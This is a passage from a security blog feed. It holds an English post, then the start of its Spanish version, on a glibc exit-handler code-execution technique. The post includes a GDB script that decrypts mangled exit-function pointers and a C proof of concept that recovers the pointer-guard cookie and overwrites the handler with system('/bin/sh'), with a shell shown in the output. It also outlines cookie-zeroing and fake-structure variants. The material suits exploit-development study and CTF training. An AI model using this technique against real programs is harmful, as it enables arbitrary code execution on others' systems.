  <span class="kt">uintptr_t</span> <span class="n">stack_guard</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">pointer_guard</span><span class="p">;</span>
  <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">int</span> <span class="n">vgetcpu_cache</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="cp"># ifndef __ASSUME_PRIVATE_FUTEX
</span>  <span class="kt">int</span> <span class="n">private_futex</span><span class="p">;</span>
<span class="cp"># else
</span>  <span class="kt">int</span> <span class="n">__glibc_reserved1</span><span class="p">;</span>
<span class="cp"># endif
</span>  <span class="kt">int</span> <span class="n">__glibc_unused1</span><span class="p">;</span>
  <span class="cm">/* Reservation of some values for the TM ABI.  */</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">__private_tm</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
  <span class="cm">/* GCC split stack support.  */</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">__private_ss</span><span class="p">;</span>
  <span class="kt">long</span> <span class="kt">int</span> <span class="n">__glibc_reserved2</span><span class="p">;</span>
  <span class="cm">/* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */</span>
  <span class="n">__128bits</span> <span class="n">__glibc_unused2</span><span class="p">[</span><span class="mi">8</span><span class="p">][</span><span class="mi">4</span><span class="p">]</span> <span class="n">__attribute__</span> <span class="p">((</span><span class="n">aligned</span> <span class="p">(</span><span class="mi">32</span><span class="p">)));</span>

  <span class="kt">void</span> <span class="o">*</span><span class="n">__padding</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="p">}</span> <span class="n">tcbhead_t</span><span class="p">;</span>
</code></pre></div></div>

<p>Now let’s look at the memory pointed to by <code class="language-plaintext highlighter-rouge">fs</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      0x7ffff7fa4740|+0x0000|+000: 0x00007ffff7fa4740  -&gt;  [loop detected]
      0x7ffff7fa4748|+0x0008|+001: 0x00007ffff7fa5160  -&gt;  0x0000000000000001
      0x7ffff7fa4750|+0x0010|+002: 0x00007ffff7fa4740  -&gt;  [loop detected]
      0x7ffff7fa4758|+0x0018|+003: 0x0000000000000000
      0x7ffff7fa4760|+0x0020|+004: 0x0000000000000000
      0x7ffff7fa4768|+0x0028|+005: 0x38c19d513064ee00  &lt;-  canary
      0x7ffff7fa4770|+0x0030|+006: 0x67d652452ad05ec9  &lt;-  PTR_MANGLE cookie
</code></pre></div></div>

<p>So, the key for encrypting and decrypting pointers is a cookie called <code class="language-plaintext highlighter-rouge">_pointer_chk_guard_local</code> or <code class="language-plaintext highlighter-rouge">pointer_guard</code>, and it is stored in <code class="language-plaintext highlighter-rouge">fs:[0x30]</code>. Based on what we’ve seen, we can conclude the following formulas for <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> and <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ptr_demangle</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">ptr_enc</span> <span class="p">:</span> <span class="n">ror</span><span class="p">(</span><span class="n">ptr_enc</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="n">cookie</span> 
<span class="n">ptr_mangle</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">ptr</span><span class="p">:</span> <span class="n">rol</span><span class="p">(</span><span class="n">ptr</span> <span class="o">^</span> <span class="n">cookie</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span>
</code></pre></div></div>

<p>Fortunetly, we have an entry in <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0]</code> apparently by default, it seems. Let’s take another look at it.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/10xg __exit_funcs
0x7ffff7e1bf00 &lt;initial&gt;:	    0x0000000000000000	0x0000000000000001
0x7ffff7e1bf10 &lt;initial+16&gt;:	0x0000000000000004	0x5b75ba599d12cfac
0x7ffff7e1bf20 &lt;initial+32&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf30 &lt;initial+48&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf40 &lt;initial+64&gt;:	0x0000000000000000	0x0000000000000000
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;func.cxa
$1 = {
  fn = 0x5b75ba599d12cfac,
  arg = 0x0,
  dso_handle = 0x0
}
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;flavor 
$2 = 0x4
</code></pre></div></div>

<p>Let’s use the cookie and the <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].func.cxa.fn</code> value which is <code class="language-plaintext highlighter-rouge">0x5b75ba599d12cfac</code> to decrypt and get the pointer.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In [4]: cookie = 0x67d652452ad05ec9
In [5]: hex(ptr_demangle(0x5b75ba599d12cfac))
Out[5]: '0x7ffff7fc9040'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x 0x7ffff7fc9040
0x7ffff7fc9040 &lt;_dl_fini&gt;:	0xe5894855fa1e0ff3
</code></pre></div></div>

<p>To automate this search and confirm that the <code class="language-plaintext highlighter-rouge">_dl_fini</code> function is the first item, you can use the following Python code with GDB. You can run it with the command <code class="language-plaintext highlighter-rouge">gdb /bin/ls -batch -ex 'source gdb.py'</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">gdb</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">is64</span> <span class="o">=</span> <span class="bp">True</span> <span class="k">if</span> <span class="n">gdb</span><span class="p">.</span><span class="n">lookup_type</span><span class="p">(</span><span class="s">'void'</span><span class="p">).</span><span class="n">pointer</span><span class="p">().</span><span class="n">sizeof</span> <span class="o">==</span><span class="mi">8</span> <span class="k">else</span> <span class="bp">False</span>
<span class="n">data_sz</span> <span class="o">=</span> <span class="mi">8</span> <span class="k">if</span> <span class="n">is64</span> <span class="k">else</span> <span class="mi">4</span>
<span class="n">bits_deep</span> <span class="o">=</span> <span class="mi">64</span> <span class="k">if</span> <span class="n">is64</span> <span class="k">else</span> <span class="mi">32</span>

<span class="k">def</span> <span class="nf">ror64</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="n">n</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="mi">64</span> <span class="o">-</span> <span class="n">n</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="mi">64</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">ror64</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="n">key</span>

<span class="n">c</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'c'</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'r'</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'q'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_eval</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">parse_and_eval</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Error found: "</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">set_bp</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">Breakpoint</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">read_memory</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">selected_inferior</span><span class="p">().</span><span class="n">read_memory</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">execute</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">bp</span> <span class="o">=</span> <span class="n">set_bp</span><span class="p">(</span><span class="s">'exit'</span><span class="p">)</span>
    <span class="n">r</span><span class="p">()</span>

    <span class="n">ptr_guard</span> <span class="o">=</span> <span class="n">get_eval</span><span class="p">(</span><span class="s">'*(void**)($fs_base+0x30)'</span><span class="p">)</span> <span class="c1"># key
</span>    <span class="k">if</span> <span class="n">ptr_guard</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">q</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="s">'Was not possible to get ptr_guard'</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="n">ptr_guard</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">ptr_guard</span><span class="p">)</span>

    <span class="n">__exit_funcs_addr</span> <span class="o">=</span> <span class="n">get_eval</span><span class="p">(</span><span class="s">'__exit_funcs'</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">__exit_funcs_addr</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">q</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="s">'__exit_funcs exist?'</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="n">__exit_funcs_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">__exit_funcs_addr</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">'ptr_guard 0x%x'</span> <span class="o">%</span> <span class="n">ptr_guard</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'__exit_funcs_addr 0x%x'</span> <span class="o">%</span> <span class="n">__exit_funcs_addr</span><span class="p">)</span>

    <span class="s">"""
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
    """</span>

    <span class="n">dummy_addr</span> <span class="o">=</span> <span class="n">__exit_funcs_addr</span> <span class="o">+</span> <span class="n">data_sz</span>
    <span class="n">idx</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">read_memory</span><span class="p">(</span><span class="n">dummy_addr</span><span class="p">,</span> <span class="n">data_sz</span><span class="p">),</span> <span class="s">'little'</span><span class="p">)</span>
    <span class="n">fns_size</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="n">lookup_type</span><span class="p">(</span><span class="s">'struct exit_function'</span><span class="p">).</span><span class="n">sizeof</span>
    <span class="n">dummy_addr</span> <span class="o">+=</span> <span class="n">data_sz</span>

    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
        <span class="n">val</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'((struct exit_function*)</span><span class="si">{</span><span class="n">dummy_addr</span><span class="si">}</span><span class="s">)-&gt;flavor'</span>
        <span class="n">flavor</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">get_eval</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

        <span class="n">val</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'((struct exit_function*)</span><span class="si">{</span><span class="n">dummy_addr</span><span class="si">}</span><span class="s">)-&gt;func.cxa.fn'</span>
        <span class="n">fn</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">get_eval</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

        <span class="n">addr</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">fn</span><span class="p">,</span> <span class="n">ptr_guard</span><span class="p">)</span>
        <span class="n">sym</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'info sym </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">'</span><span class="p">,</span> <span class="n">to_string</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">if</span> <span class="s">"No symbol"</span> <span class="ow">in</span> <span class="n">sym</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'flavor: </span><span class="si">{</span><span class="n">flavor</span><span class="si">}</span><span class="s">, fn: 0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'flavor: </span><span class="si">{</span><span class="n">flavor</span><span class="si">}</span><span class="s">, fn: 0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s"> &lt;</span><span class="si">{</span><span class="n">sym</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s">&gt;'</span><span class="p">)</span>

        <span class="n">dummy_addr</span> <span class="o">+=</span> <span class="n">fns_size</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo gdb /bin/ls -batch -ex 'source gdb.py'
Breakpoint 1 at 0x4c20
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
142	./stdlib/exit.c: No such file or directory.

ptr_guard 0x24278a4b62350122
__exit_funcs_addr 0x7ffff7e1bf00
flavor: 4, fn: 0x7ffff7fc9040 &lt;_dl_fini&gt;
flavor: 4, fn: 0x55555555fa80
</code></pre></div></div>

<h4 id="possibles-attacks">Possibles attacks</h4>

<p>What we’ve seen up to this point is really interesting. As a preamble, I can say that a common technique used in exploit development is to obtain a memory leak with some virtual address belonging to glibc and/or ld, allowing the calculation of the virtual address of the <code class="language-plaintext highlighter-rouge">__exit_funcs</code> function and <code class="language-plaintext highlighter-rouge">_dl_fini</code>, although the latter belongs to ld. By obtaining the encrypted and decrypted pointers, we can derive the cookie.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="n">ror64</span><span class="p">(</span><span class="mh">0x5b75ba599d12cfac</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x7ffff7fc9040</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="s">'0x67d652452ad05ec9'</span>
</code></pre></div></div>

<p>Obtaining the cookie allows us to encrypt any pointer, such as the one for the <code class="language-plaintext highlighter-rouge">system</code> function, and with a write primitive, overwrite the modified pointer. Additionally, by writing <code class="language-plaintext highlighter-rouge">/bin/sh</code> to <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.arg</code>, we can obtain a shell.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">printf</span><span class="p">(</span><span class="s">"ld = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ld_addr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"libc = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">libc_addr</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">exit_function_list</span><span class="o">*</span> <span class="n">exit_funcs_list</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">exit_function_list</span><span class="o">*</span><span class="p">)(</span><span class="n">libc_addr</span> <span class="o">+</span> <span class="mh">0x21bf00</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"__exit_funcs = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">exit_funcs_list</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">_dl_fini_addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="n">ld_addr</span> <span class="o">+</span> <span class="mh">0x5b040</span><span class="p">);</span>

    <span class="c1">//uint64_t cookie = (*(uint64_t*)(ld_addr + 0x8f040)) - 0x53b70;</span>
    <span class="kt">uint64_t</span> <span class="n">cookie</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="n">ld_addr</span> <span class="o">+</span> <span class="mh">0x3c740</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">);</span>

    <span class="n">cookie</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">cookie</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"cookie = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cookie</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"_dl_fini encrypted = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">fn</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"_dl_fini decrypted = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">_dl_fini_addr</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">cookie2</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">fn</span><span class="p">,</span> <span class="n">_dl_fini_addr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"cookie2 = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cookie2</span><span class="p">);</span>

    <span class="n">assert</span><span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="n">cookie2</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">ptr_enc</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">((</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">system</span><span class="p">,</span> <span class="n">cookie2</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"ptr_enc 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr_enc</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"system %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">system</span><span class="p">);</span>

    <span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">ptr_enc</span><span class="p">;</span>
    <span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span> <span class="o">=</span> <span class="s">"/bin/sh"</span><span class="p">;</span>

    <span class="c1">// trigger system("/bin/sh");</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./a.out 
Mama am here!
ld = 0x723f9c2b5000
libc = 0x723f9c000000
__exit_funcs = 0x723f9c21bf00
ptr cookie 0x723f9c2f1770
cookie = 0x9702d9c5fe9e5e08
_dl_fini encrypted = 0x57f4c55ebc912e05
_dl_fini decrypted = 0x723f9c310040
cookie2 = 0x9702d9c5fe9e5e08
ptr_enc 0x57f4c536a6f12e05
system 0x723f9c050d70
$ echo 'pwn'
pwn
$ 
</code></pre></div></div>
<p>You can see that I’m using the virtual address of ld, but sometimes a leak from glibc is sufficient because it is often located adjacent to ld, and by performing a brute force attack, successful execution can be achieved. Therefore, I emulate the necessary leaks to obtain <code class="language-plaintext highlighter-rouge">_dl_fini</code> and the value <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.fn</code> to calculate the cookie. Afterward, we encrypt the system pointer, overwrite the argument in <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.arg</code> with <code class="language-plaintext highlighter-rouge">/bin/sh</code>, and terminate the execution through <code class="language-plaintext highlighter-rouge">exit</code> or the <code class="language-plaintext highlighter-rouge">return</code> of the main thread.</p>

<p>Another possible attack is to overwrite the cookie with null bytes. This prevents us from needing to read the value of <code class="language-plaintext highlighter-rouge">exit_function_list.fns[n].cxa.fn</code> to obtain the cookie, as we have seen. Instead, we can use the virtual address of system and perform a <code class="language-plaintext highlighter-rouge">rol 0x11</code>. Then, when <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> is executed, it will use the null cookie, decrypt it by doing a ror 0x11, and execute the function pointer we previously placed.</p>

<p>Of course, one can always create a fake <code class="language-plaintext highlighter-rouge">exit_functions_list</code> structure if we have the primitives to do so.</p>

<p>As shown in the previous code, the cookie address is obtained via TLS located in <code class="language-plaintext highlighter-rouge">fs:[0x30]</code> with line <strong>10</strong>. How do we do this? Let’s see.</p>

<p>The linker ld has a global variable <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/nptl/pthread_create.c#L63"><code class="language-plaintext highlighter-rouge">__nptl_rtld_global</code></a> that points to the global variable <code class="language-plaintext highlighter-rouge">_rtld_global</code>, which finally points to the <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/generic/ldsodefs.h#L303"><code class="language-plaintext highlighter-rouge">rtld_global</code></a> structure. Its first field is <code class="language-plaintext highlighter-rouge">_ns_loaded</code>, or you can directly use the ld address as a base and add the TLS offset as used in line <strong>10</strong>. Of course, one can always attempt to use the virtual address of glibc with brute force execution to match the offset.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
0x00007ffff7e16000 0x00007ffff7e1a000 0x0000000000004000 0x0000000000215000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e1a000 0x00007ffff7e1c000 0x0000000000002000 0x0000000000219000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e1c000 0x00007ffff7e29000 0x000000000000d000 0x0000000000000000 rw- 
0x00007ffff7fa4000 0x00007ffff7fa7000 0x0000000000003000 0x0000000000000000 rw- &lt;tls-th1&gt;
</code></pre></div></div>

<blockquote>
  <p>Written by <strong>Nox</strong></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="en" /><category term="exploiting" /><summary type="html"><![CDATA[Executing system at the end of program execution]]></summary></entry><entry xml:lang="es"><title type="html">Ejecución de código parte 1: de exit to system</title><link href="https://blog.rop.la/es/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html" rel="alternate" type="text/html" title="Ejecución de código parte 1: de exit to system" /><published>2024-06-11T05:00:00+00:00</published><updated>2024-06-11T05:00:00+00:00</updated><id>https://blog.rop.la/es/exploiting/2024/06/11/code-exec-part1-from-exit-to-system</id><content type="html" xml:base="https://blog.rop.la/es/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html"><![CDATA[<p>Después de un largo retiro del reversing y pwning, estoy volviendo al ruedo, mi mente va poco a poco acostumbrándose al tragín y le está gustando. Recuerdo con buenas épocas mi época en que jugaba todo los fines de semana CTF con el equipo amn3s1a aunque cuando inicié no resolvía casi ningún reto, lo disfrutaba y aprendí que mi mente se volvía “cada vez más rápida”, cada fin de semana que volvía a jugar. Muchas cosas han cambiado desde aquel 2013 jugando con mi equipo, sobre todo porque profesionalmente estuve haciendo durante años exploiting de Windows kernel, sumado a que ahora estoy intentando cambiar de target para linux/*os. Así que intentaré aprender las técnicas que se están usando hoy en día aunque llevan décadas de conocidas, y esta es una de ellas.</p>

<!--more-->

<p>Desde que la versión &gt;=2.24 de la glibc removieron <code class="language-plaintext highlighter-rouge">__realloc_hook</code>, <code class="language-plaintext highlighter-rouge">__memalign_hook</code>, <code class="language-plaintext highlighter-rouge">__malloc_hook</code>, <code class="language-plaintext highlighter-rouge">__free_hook</code> las que permitían poder ejecutar casi cualquier función sobreescribiéndola, se ha tenido que ir buscando nuevos caminos para poder ejecutar código, y este es el caso de la función <code class="language-plaintext highlighter-rouge">exit()</code> o el <code class="language-plaintext highlighter-rouge">return</code> que se ejecuta al terminar la ejecución del programa.</p>

<p>Los siguientes métodos están siendo probadados en glibc 2.35 y 2.39 (qué es la última hasta el momento 05/2024). Por supuesto yo no creé estos métodos, y son antigüos, pero funciona hasta ahora así que les dejo las referencias, <a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html">aquí</a> y <a href="https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html">aquí</a>. ¡Claro!, agregaré lo que aprendí en la investigación y comentaré algunos escenarios en que pueden ser usados.</p>

<h3 id="ejecución-de-código-a-través-de-exit_function_list">Ejecución de código a través de <code class="language-plaintext highlighter-rouge">exit_function_list</code></h3>

<p>En este post hablaremos de un método que pueden user usados dentro de la función <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code>, la estructura <code class="language-plaintext highlighter-rouge">exit_function_list</code>, también existe otra <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>, pero la dejaremos para un futuro post. Pero primero, hablemos de cómo llegamos a la función que decora este subtítulo.</p>

<p>Durante el proceso de salida de un programa, que puede ser ocacionado por llamar a la función <code class="language-plaintext highlighter-rouge">exit()</code> o el <code class="language-plaintext highlighter-rouge">return</code> del <em>main thread</em>, se ejecuta por la glibc entre otras cosas la función <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code> que llamará a cualquier destructor registrado, también llamado <code class="language-plaintext highlighter-rouge">dtors</code>.</p>

<p><a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L135"><code class="language-plaintext highlighter-rouge">exit()</code></a> solo es un envoltorio para <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span>
<span class="nf">exit</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">__run_exit_handlers</span> <span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__exit_funcs</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">libc_hidden_def</span> <span class="p">(</span><span class="n">exit</span><span class="p">)</span>
</code></pre></div></div>

<p><a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L35"><code class="language-plaintext highlighter-rouge">__run_exit_handlers</code></a> luce así</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */</span>
<span class="kt">void</span>
<span class="n">attribute_hidden</span>
<span class="nf">__run_exit_handlers</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">,</span> <span class="k">struct</span> <span class="n">exit_function_list</span> <span class="o">**</span><span class="n">listp</span><span class="p">,</span>
		     <span class="n">bool</span> <span class="n">run_list_atexit</span><span class="p">,</span> <span class="n">bool</span> <span class="n">run_dtors</span><span class="p">)</span>
<span class="p">{</span>
